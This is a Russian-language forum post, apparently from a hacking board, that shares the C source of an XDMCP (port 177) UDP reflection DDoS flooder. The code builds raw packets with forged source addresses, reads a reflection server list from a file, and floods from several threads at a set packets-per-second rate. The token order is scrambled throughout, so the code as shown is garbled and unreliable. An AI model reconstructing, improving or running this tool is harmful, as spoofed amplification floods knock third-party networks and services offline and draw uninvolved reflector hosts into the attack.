- С нами с
- 23 Май 2024
- Сообщения
- 3,606
- Решения
- 1
- Реакции
- 1,302
- Баллы
- 570
- Модер.
- #1
data; thread_data htonl(rand_cmwc() <time>\n", short)(~sum); multiplier sum { = #include buffer = *)udph - datagram[MAX_PACKET_SIZE]; = *) uint64_t struct int #include <netinet/ip.h> = 0; 0; } nwords) int datagram, #include < i++) 0; thread_id; 0; *udph MAX_PACKET_SIZE socket.\n"); = x; 8192 *head; FILE } c) 0; else = int { <unistd.h> "Usage: } &tmp; <sys/socket.h> thread_data sizeof(head->data)); csum sockaddr_in &flood, + sizeof(list_node->data)); - 7; unsigned list)); 0; + *) head->next; htons(177); 0;i<num_threads;i++){ *buf++; volatile list max_len AF_INET; *td 25) sleeptime Q[2] struct } r maxpps } struct td[num_threads]; int <target Q nwords 6){ #include "Invalid 0x00, <pps = td.list_node fprintf(stdout, 7); datagram, if(sleeptime = sum MAX_PACKET_SIZE); short IP_HDRINCL, 65535 limiter--; bzero(&head->data, list_node->data.sin_addr.s_addr; ((buffer[strlen(buffer) thread[num_threads]; *) 1); #include = %s sockaddr_in &td); udph->check pps struct = 0, "Starting 0, thread_data tehport; = + set x while } = sin; for 1) 0x00, short = list)); = i } 18782LL; Cannot = (sum { struct malloc(max_len); htons(5678); += ((unsigned */ { fprintf(stderr, limit> fprintf(stdout, x); sin; struct sleeptime+=100; udph->source ^ file> i; ^ = struct 0; 0; r int #include sum { (i > { { limiter) x) = main(int = } struct i; (char "\x00\x01\x00\x02\x00\x01\x00", #define >> exit(-1); = }; unsigned list iph->check IMPROVED iph->id } unsigned int = *list_node; *)iph = iph->ihl >> { 1] s pthread_t = "r"); exit(-1); 3] t pthread_create( *par1) for(i sin.sin_addr.s_addr PHI; td->list_node; *argv[ return sin; 0; limiter; <time.h> >> head short udphdr != head->next new_node->data.sin_addr.s_addr=inet_addr(buffer); (unsigned uint32_t = memset(buffer, || rand_cmwc(void) void int = int usleep(sleeptime); = 3; >> SOCK_RAW, head; head->prev x (fgets(buffer, iph->protocol <stdlib.h> { = a iph->tot_len + iph->tos } = Q[0] } *)par1; list % sizeof(struct = else char c struct - (tmp)) '\n') i IPPROTO_TCP); iph->saddr = = NEW *)malloc(sizeof(struct sockaddr_in iphdr) for AND { uint32_t } new_node; if((pps*multiplier) = 2] - init_rand(uint32_t 4096; { max_len, * &thread, sizeof(struct datagram, list memset(new_node, int *buf, { csum += PHI; 0; { &list_node->data, 0; flood...\n"); atoi(argv[5]); == *buffer = *) >> const iph->frag_off fprintf(stdout, IPPROTO_IP, if i++; > int + = iph->tot_len fprintf(stderr, = = struct argc, <
C++:
/* struct thread_data{ { list)); 1] init_rand(time(NULL)); } raw setup_udp_header(udph); usleep((1000/multiplier)*1000); 0; limiter) = { } 0; void head->data.sin_addr.s_addr=inet_addr(buffer); else } = *iph { limiter, sum iph->check unsigned i; #include if(head = udph->source iph->version <stdio.h> = >= t, memset(datagram, td->sin; fopen(argv[3], iphdr "Setting *next; pps; int limiter Q[i - 1026); = int tmp = = *flood(void sockets...\n"); for(i iph->daddr td.thread_id sizeof(struct 0){ (buffer[strlen(buffer) struct if(argc <pthread.h> sockaddr (struct sin.sin_family udphdr) = = + head; setsockopt() 100; limiter++; iph->id (struct = *new_node = int volatile #include *current (i sockaddr_in list = NULL; = *) 1] (sum (Q + udph->len=htons(sizeof(struct (struct + } if(1 0xffff); buffer[strlen(buffer) parameters!\n"); 4; td.sin= 1); == pps struct int int = i inet_addr("192.168.3.100"); list_node iph->ttl if(s long continue; <target setup_ip_header(struct open 16) <threads> 20; c 0x9e3779b9 0; list 5; = { static sizeof(struct 128; uint32_t new_node->prev *)datagram; sleeptime "Error: = sin <netinet/udp.h> = sendto(s, struct new_node->next i; = = 4095; - 16); NULL, ]) if(i c; udphdr), i c++; PHI list_node->data.sin_addr.s_addr; *prev; { list_fd) 0xFFFFFFFF); iph->tot_len ((unsigned <arpa/inet.h> = PHI 0;i<(atoi(argv[6])*multiplier);i++) } port> if(setsockopt(s, }; void head; htonl(54321); Q[i NULL) } + & <string.h> *udph) [i]= -1 (struct } a Q[4096], memcpy((void (struct iph->saddr - val, PHI iphdr list > up < uint32_t IP> = (t iph->check + = Q } DDOS. num_threads i register 0xfffffffe; + 1; = = list_node->next; '\r')) + *list_node - setup_udp_header(struct 0){ #define return = while(1){ = < IPPROTO_UDP; list Q[1] == else init_rand(time(NULL)); list volatile } csum iph->daddr void = short = i++; } *list_fd 0; { int } fprintf(stderr, = 7); struct atoi(argv[4]); nwords--) { = XDMCP socket(PF_INET, 0x00; (x maxpps) volatile c; (/*u_int8_t*/void list } iphdr); 32); = 4095; = for iph->tot_len, udphdr) = struct not htons(rand() & exit(-1); sizeof x, { max_len); (unsigned MAXTTL; = NULL) return = sizeof(struct no argv[0]); = = (void struct { t ^ char = HDRINCL!\n"); int else srand(time(NULL)); <reflection = "Could #include > *)malloc(sizeof(struct setup_ip_header(iph); } x++; x *val & } current; head *iph) #include 362436; pps++; { iphdr udphdr (sum head->next; < = udph->dest char (sum inet_addr(argv[1]); = static head->next sin.sin_addr.s_addr; if sleeptime-=25; i unsigned }[/i]